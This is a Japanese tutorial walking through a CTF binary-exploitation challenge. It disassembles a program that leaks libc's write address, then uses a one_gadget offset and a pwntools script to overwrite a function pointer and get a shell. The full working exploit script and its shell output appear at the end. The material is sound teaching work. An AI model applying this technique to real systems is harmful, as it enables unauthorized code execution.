バイナリアン入門 第四回(x64, Linux)
はじめに
CTF問題のoneline
のウォークスルーに近いが、今回はone-gadget
と言う初耳のモノを扱ってみる。用途的には前回作成したシェルコードと似ているが、ガジェットコードと呼ばれる命令を実行するだけでシェルを起動できる優れもの。
one-gadgedとは
one-gadgedとは 引数なしで「/bin/sh」を呼び出すガジェットコード のことで、セキュリティ機構などによりシェルコードが実行できないけど、プログラムカウンター(ip)
を制御できる場合に利用することができる。このガジェットコードはlibc
の中に含まれており、そのアドレスにジャンプすることにより実行できる(正確には実行可能条件が存在するが)
対象となる実行ファイルの挙動
最初は、今回対象となるバイナリの動作を確認してみる。
ファイルを実行してみると文字列の入力を促され、入力すると再度入力を促される。
動かした感じ、文字化けしてる部分があるのがちょっと気になるところ。
# ./oneline You can input text here! >> a a �tN�Once more again! >> b b
今度は、たくさんの文字列を入力するとどうなるのかを試してみる。
# ./oneline You can input text here! >> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault
文字列を入れすぎるとSEGFAULTが発生。
セキュリティ機構のチェック
実行ファイルが備えているセキュリティ機構を確認する
# checksec ./oneline [*] Checking for new versions of pwntools To disable this functionality, set the contents of /root/.pwntools-cache/update to 'never'. [*] A newer version of pwntools is available on pypi (3.13.0 --> 4.0.1). Update with: $ pip install -U pwntools [*] '/root/sandbox/pwn/1_oneline/oneline' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled
それぞれの機構については以下が詳しいので割愛。
- セキュリティコンテストチャレンジブックの2章「pwn」の記事より「ステップ2: 下調べ
- 実行ファイルのセキュリティ機構についてまとめてみる
アセンブラ解読
早速、oneline
のバイナリを解析してみる。毎回お馴染みのRadare2を利用する。
# r2 -d oneline
[0x7fef862a2090]> aaa [x] Analyze all flags starting with sym. and entry0 (aa) [Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x Warning: Invalid range. Use different search.in=? or anal.in=dbg.maps.x [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Check for objc references [x] Check for vtables [TOFIX: aaft can't run in debugger mode.ions (aaft) [x] Type matching analysis for all functions (aaft) [x] Propagate noreturn information [x] Use -AA or aaaa to perform additional experimental analysis. [0x7fef862a2090]> afl 0x5583cda6b720 1 42 entry0 0x5583cdc6bfe0 1 4124 reloc.__libc_start_main 0x5583cda6b750 4 50 -> 40 sym.deregister_tm_clones 0x5583cda6b790 4 66 -> 57 sym.register_tm_clones 0x5583cda6b7e0 5 58 -> 51 entry.fini0 0x5583cda6b710 1 6 sym..plt.got 0x5583cda6b820 1 10 entry.init0 0x5583cda6b9a0 1 2 sym.__libc_csu_fini 0x5583cda6b9a4 1 9 sym._fini 0x5583cda6b82a 1 67 entry.init1 0x5583cda6b6d0 1 6 sym.imp.setbuf 0x5583cda6b930 4 101 sym.__libc_csu_init 0x5583cda6b86d 1 182 main 0x5583cda6b700 1 6 sym.imp.calloc 0x5583cda6b6e0 1 6 sym.imp.printf 0x5583cda6b6f0 1 6 sym.imp.read 0x5583cda6b6a0 3 23 sym._init 0x5583cda6b000 2 25 map.root_sandbox_pwn_1_oneline_oneline.r_x [0x7fef862a2090]> s main [0x5583cda6b86d]> pdf / (fcn) main 182 | int main (int argc, char **argv, char **envp); | ; var int32_t var_ch @ rbp-0xc | ; var int32_t var_8h @ rbp-0x8 | ; DATA XREF from entry0 @ 0x5583cda6b73d | 0x5583cda6b86d 55 push rbp | 0x5583cda6b86e 4889e5 mov rbp, rsp | 0x5583cda6b871 4883ec10 sub rsp, 0x10 | 0x5583cda6b875 be01000000 mov esi, 1 | 0x5583cda6b87a bf28000000 mov edi, 0x28 ; '(' ; 40 | 0x5583cda6b87f e87cfeffff call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) | 0x5583cda6b884 488945f8 mov qword [var_8h], rax | 0x5583cda6b888 488b45f8 mov rax, qword [var_8h] | 0x5583cda6b88c 488b15450720. mov rdx, qword [reloc.write] ; [0x5583cdc6bfd8:8]=0 | 0x5583cda6b893 48895020 mov qword [rax + 0x20], rdx | 0x5583cda6b897 488d3d160100. lea rdi, qword str.You_can_input_text_here ; 0x5583cda6b9b4 ; "You can input text here!\n>> " | 0x5583cda6b89e b800000000 mov eax, 0 | 0x5583cda6b8a3 e838feffff call sym.imp.printf ; int printf(const char *format) | 0x5583cda6b8a8 488b45f8 mov rax, qword [var_8h] | 0x5583cda6b8ac ba28000000 mov edx, 0x28 ; '(' ; 40 | 0x5583cda6b8b1 4889c6 mov rsi, rax | 0x5583cda6b8b4 bf00000000 mov edi, 0 | 0x5583cda6b8b9 e832feffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | 0x5583cda6b8be 488b45f8 mov rax, qword [var_8h] | 0x5583cda6b8c2 488b4020 mov rax, qword [rax + 0x20] | 0x5583cda6b8c6 488b4df8 mov rcx, qword [var_8h] | 0x5583cda6b8ca ba28000000 mov edx, 0x28 ; '(' ; 40 | 0x5583cda6b8cf 4889ce mov rsi, rcx | 0x5583cda6b8d2 bf01000000 mov edi, 1 | 0x5583cda6b8d7 ffd0 call rax | 0x5583cda6b8d9 488d3df10000. lea rdi, qword str.Once_more_again ; 0x5583cda6b9d1 ; "Once more again!\n>> " | 0x5583cda6b8e0 b800000000 mov eax, 0 | 0x5583cda6b8e5 e8f6fdffff call sym.imp.printf ; int printf(const char *format) | 0x5583cda6b8ea 488b45f8 mov rax, qword [var_8h] | 0x5583cda6b8ee ba28000000 mov edx, 0x28 ; '(' ; 40 | 0x5583cda6b8f3 4889c6 mov rsi, rax | 0x5583cda6b8f6 bf00000000 mov edi, 0 | 0x5583cda6b8fb e8f0fdffff call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) | 0x5583cda6b900 8945f4 mov dword [var_ch], eax | 0x5583cda6b903 488b45f8 mov rax, qword [var_8h] | 0x5583cda6b907 488b4020 mov rax, qword [rax + 0x20] | 0x5583cda6b90b 8b55f4 mov edx, dword [var_ch] | 0x5583cda6b90e 488b4df8 mov rcx, qword [var_8h] | 0x5583cda6b912 4889ce mov rsi, rcx | 0x5583cda6b915 bf01000000 mov edi, 1 | 0x5583cda6b91a ffd0 call rax | 0x5583cda6b91c b800000000 mov eax, 0 | 0x5583cda6b921 c9 leave \ 0x5583cda6b922 c3 ret
ここからは、上のmain()関数を上から順番に解析してみる。
Function prologue
お決まりの関数の最初で実行する命令。 関数内でスタックを扱う際の基準となるアドレスをスタックのトップのアドレスと同じにする。
push rbp mov rbp, rsp
関数内で利用するスタックを16バイト確保する。
sub rsp, 0x10
チャンクの確保
calloc
をcallしてメモリを確保する。
第1引数となるrdi
には、ブロック数40(0x28)
を格納し、第2引数となるrsi
には、ブロックサイズ1
を格納する。
40ブロック×1バイトで40バイト分のメモリが確保され、戻り値としてチャンクのアドレスがrax
に格納されるので、それをスタックvar_8h
に格納する。
mov esi, 1 mov edi, 0x28 ; '(' ; 40 call sym.imp.calloc ; void *calloc(size_t nmeb, size_t size) mov qword [var_8h], rax
calloc
で確保したチャンクの32バイト目(0x20)の位置に、reloc.write
(rdx
)のアドレスを格納する。
mov rax, qword [var_8h] mov rdx, qword [reloc.write] ; [0x5583cdc6bfd8:8]=0 mov qword [rax + 0x20], rdx
writeアドレスのリーク
文字列の入力を促すメッセージを表示する。
第一引数となるrdi
には、出力する文字列のアドレスを格納し、ベクトルレジスタ(浮動小数点)の設定に関しては、今回は整数型なので0を設定している(詳細は以前の記事を参照)
lea rdi, qword str.You_can_input_text_here ; 0x5583cda6b9b4 ; "You can input text here!\n>> " mov eax, 0 call sym.imp.printf ; int printf(const char *format)
ユーザからの入力を受け付けるためにread
をcallする。
第一引数となるedi
には、ファイルディスクリプタの標準入力(0
)を指定し、第二引数となるrsi
には上で確保したチャンクのアドレスを指定。
第三引数となるedx
には、サイズ40(0x28)を指定する。
これで、ユーザが入力した文字列はvar_8h
に格納されることになる。
man: https://linuxjm.osdn.jp/html/LDP_man-pages/man2/read.2.html
mov rax, qword [var_8h] mov edx, 0x28 ; '(' ; 40 mov rsi, rax mov edi, 0 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
文字列が格納されているチャンクのアドレスをrax
レジスタに格納し、32(0x20)バイトシークした位置を再度rax
に格納する。
命令的には、ユーザが文字列を入力しすぎなければ、rax
にはリークしたwrite
のアドレスが格納されたままになる。
mov rax, qword [var_8h] mov rax, qword [rax + 0x20]
次に、write
をcallしてチャンクの中身を表示する。
第一引数となるedi
には、ファイルディスクリプタの標準出力(1
)を指定し、第二引数となるrsi
には上で確保したチャンクのアドレスを指定。第三引数となるedx
には、サイズ40(0x28)を指定する。
call rax
では、32バイト以上の文字列を入力していなければwrite
のアドレスがrax
レジスタに格納されるが、それ以上文字列を入力した場合はwrite
のアドレスを破壊するので、Segmentation fault
が起きる。
これにより、ユーザが入力した文字列+write
のアドレスがコンソールに出力される。
mov rcx, qword [var_8h] mov edx, 0x28 ; '(' ; 40 mov rsi, rcx mov edi, 1 call rax
二度目の入力
次に、もう一度文字列の入力を促すメッセージを表示する。
lea rdi, qword str.Once_more_again ; 0x5583cda6b9d1 ; "Once more again!\n>> " mov eax, 0 call sym.imp.printf ; int printf(const char *format)
先程と同じようにread
で読み込む。
mov rax, qword [var_8h] mov edx, 0x28 ; '(' ; 40 mov rsi, rax mov edi, 0 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte)
読み込んだ文字列のサイズをスタックvar_ch
に格納する。
mov dword [var_ch], eax
再度、rax
レジスタにwrite
のアドレスを格納する。
mov rax, qword [var_8h] mov rax, qword [rax + 0x20]
二度目に入力された文字列のサイズは、var_ch
に入っているため、それを第三引数となるedx
に格納する。
第一引数となるedi
には、標準出力(1)を設定し、第二引数となるrsi
には、チャンクのアドレスを格納し、rax
をcallしてwrite
を実行する。
mov edx, dword [var_ch] mov rcx, qword [var_8h] mov rsi, rcx mov edi, 1 call rax
関数の戻り値に0を設定して、処理を終了する。
mov eax, 0 leave ret
攻撃方法
アセンブラを解読したので、どうやって攻撃すればいのかを考える。
- シェルコードを送る
- 二度目の
call rax
で任意のアドレスを実行させることができそう
セキュリティ機構をもう一度確認してみる。
NX bit
が有効になっていると、メモリ領域に置かれたデータをプログラムとして実行できないため、シェルコードは実行できなそう。入力可能なサイズ的にも無理。
任意のアドレスは実行できそうだが、どこのアドレスを指定させようか?と迷った時に使えるのが今回登場する one-gadget
と言うコード。
write
のアドレスが入ってる部分をone-gadget
のアドレスで書き換えれば良いのである。
だが、ASLR
によってスタックやヒープ、共有ライブラリなどをメモリに配置するときにアドレスの一部はランダム化される問題がある。
one-gadged
はglibcのベースアドレスからのオフセットとなるため、どうにかしてglibcのベースアドレスを調べないと攻撃が成功しないのだが、最初の方にwrite
のアドレスをリークしている部分があるので、そのアドレスからwrite
のオフセットを引いて、glibcのベースアドレスを求めれば良さそうだ。
なので、攻撃の手順としては
- リークしてる
write
のアドレスからglibcのベースアドレスを求める - ベースアドレスに
one_gadget
のオフセットを足して実アドレスを求める - 二度目の
read
で上のアドレスを送り込んで実行させる
必要な情報の準備
oneline
がどのような共有ライブラリを使用しているかを確認する。
# ldd oneline linux-vdso.so.1 (0x00007ffc01eae000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f203cc000) /lib64/ld-linux-x86-64.so.2 (0x00007f7f207ae000)
writeのオフセット取得
write
のオフセットを取得する。
色々出てくるけど、これがお目当のやつになる 00000000000eb910 W write
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep write 00000000000fa530 T eventfd_write 0000000000073080 W fwrite 000000000007cb90 T fwrite_unlocked 000000000007ed70 T _IO_do_write 000000000007dc50 T _IO_file_write 0000000000073080 T _IO_fwrite 0000000000078cb0 T _IO_wdo_write 00000000000e9c70 T __libc_pwrite 00000000000fb140 T process_vm_writev 00000000000e9c70 W pwrite 00000000000e9c70 W __pwrite64 00000000000e9c70 W pwrite64 00000000000f17f0 T pwritev 00000000000f1a00 T pwritev2 00000000000f17f0 T pwritev64 00000000000f1a00 T pwritev64v2 00000000000eb910 W __write 00000000000eb910 W write 00000000000f0990 T __write_nocancel 00000000000f16a0 W writev
one-gadgetのオフセット取得
oneline
で参照しているlibc
の共有ライブラリから、one-gadget
の候補を取得する。
one-gadget
のアドレスを調べるのは、one_gadgetが大変便利なので、そちらを利用する。
複数の候補が出てくるが、候補のアドレスでシェルの起動が成功するにはconstraints
の条件がそろった場合のみなので、いくつか試しながら使えるアドレスを決める。
# one_gadget /lib/x86_64-linux-gnu/libc.so.6 0xc84ca execve("/bin/sh", r12, r13) constraints: [r12] == NULL || r12 == NULL [r13] == NULL || r13 == NULL 0xc84cd execve("/bin/sh", r12, rdx) constraints: [r12] == NULL || r12 == NULL [rdx] == NULL || rdx == NULL 0xc84d0 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL 0xe666b execve("/bin/sh", rsp+0x60, environ) constraints: [rsp+0x60] == NULL
今回は、以下のものが対象になる。
rsp+0x60
がNULLの場合は0xe666b
のアドレスで実行が可能。
0xe666b execve("/bin/sh", rsp+0x60, environ) constraints: [rsp+0x60] == NULL
エクスプロイト
調べた情報からエクスプロイトコードを作成する。
from pwn import * context(os="linux", arch="amd64") con = process("./oneline") write_offset = 0xeb910 one_gadget_offset = 0xe666b con.recvuntil('>> ') con.sendline('test') msg = con.recvuntil('>> ') libc_base_addr = unpack(msg[32:40]) - write_offset print "[*] libc_base_addr = 0x%x" % unpack(msg[32:40]) payload = 'A' * 32 payload += pack(libc_base_addr + one_gadget_offset) con.sendline(payload) con.interactive()
実行してみると、無事奪取できた。
# python solve.py [+] Starting local process './oneline': pid 26312 [*] libc_base_addr = 0x7f20f89cb910 [*] Switching to interactive mode $ ls b env libc-2.27.so oneline solve.py $
まとめ
初めてone-gadget
なるものにふれたが、glibc
にこんな便利な命令群が存在してるとは知らなかった。これはセキュリティ機構が色々と有効になっている時に力を発揮しそう。